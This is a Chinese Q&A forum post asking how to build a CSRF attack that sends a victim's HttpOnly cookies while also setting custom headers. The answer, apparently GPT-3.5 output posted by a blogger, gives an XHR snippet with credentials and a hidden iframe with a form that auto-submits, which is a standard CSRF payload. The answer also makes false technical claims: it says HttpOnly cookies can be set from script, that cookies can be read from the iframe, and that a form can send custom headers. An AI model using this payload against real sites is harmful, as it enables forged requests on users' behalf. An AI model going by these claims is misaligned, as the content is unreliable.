CSRF表单构造既能自动获取cookie又能自定义请求头

Question

通过HTML的form表单提交post请求可自动匹配浏览器cookie，但是无法自定义请求头。通过xmlhttprequest发送post可以自定义请求头但是无法获取到cookie，请问如何才能结合这两点呢，前提，cookie设置了httponly，且cookie为自动从浏览器获取，不是手动设置

Answer 1

该回答引用自GPT-3.5,由博主GIS_Liu编写：

要解决这个问题，您可以采取以下方法：

1. 使用XHR请求结合Cookie

您可以使用XHR发送请求，然后从JavaScript中手动设置Cookie，并且服务器端设置Access-Control-Allow-Credentials头部允许跨域请求携带Cookie。这样，您可以自定义请求头并且发送Cookie。

var xhr = new XMLHttpRequest();
xhr.open("POST", "your_endpoint", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.setRequestHeader("Custom-Header", "custom-value");
xhr.withCredentials = true; // 允许发送Cookie
xhr.onreadystatechange = function() {
  if (xhr.readyState === XMLHttpRequest.DONE) {
    if (xhr.status === 200) {
      console.log(xhr.responseText);
    } else {
      console.error('请求失败: ' + xhr.status);
    }
  }
};
xhr.send(JSON.stringify({data: "your_data"}));

2. 使用隐藏的iframe发送Form表单

您可以创建一个隐藏的iframe，并将form表单的目标（target）设置为该iframe，这样表单提交后会在iframe中加载响应，然后通过JavaScript获取iframe中的内容（包括Cookie）。

<iframe id="hidden_iframe" name="hidden_iframe" style="display:none;"></iframe>
<form id="csrf_form" action="your_endpoint" method="post" target="hidden_iframe">
  <input type="text" name="data" value="your_data">
  <input type="submit" value="Submit">
</form>
<script>
  document.getElementById('csrf_form').submit();
  document.getElementById('hidden_iframe').onload = function() {
    var response = document.getElementById('hidden_iframe').contentDocument.body.innerHTML;
    console.log(response);
  };
</script>

这两种方法都可以实现在发送请求时同时自定义请求头和携带Cookie。但是请注意，跨站请求伪造（CSRF）仍然可能是一个安全风险，需要采取其他措施来确保安全性，例如使用CSRF令牌。

如果该回答解决了您的问题，请采纳！如果没有，请详述问题所在！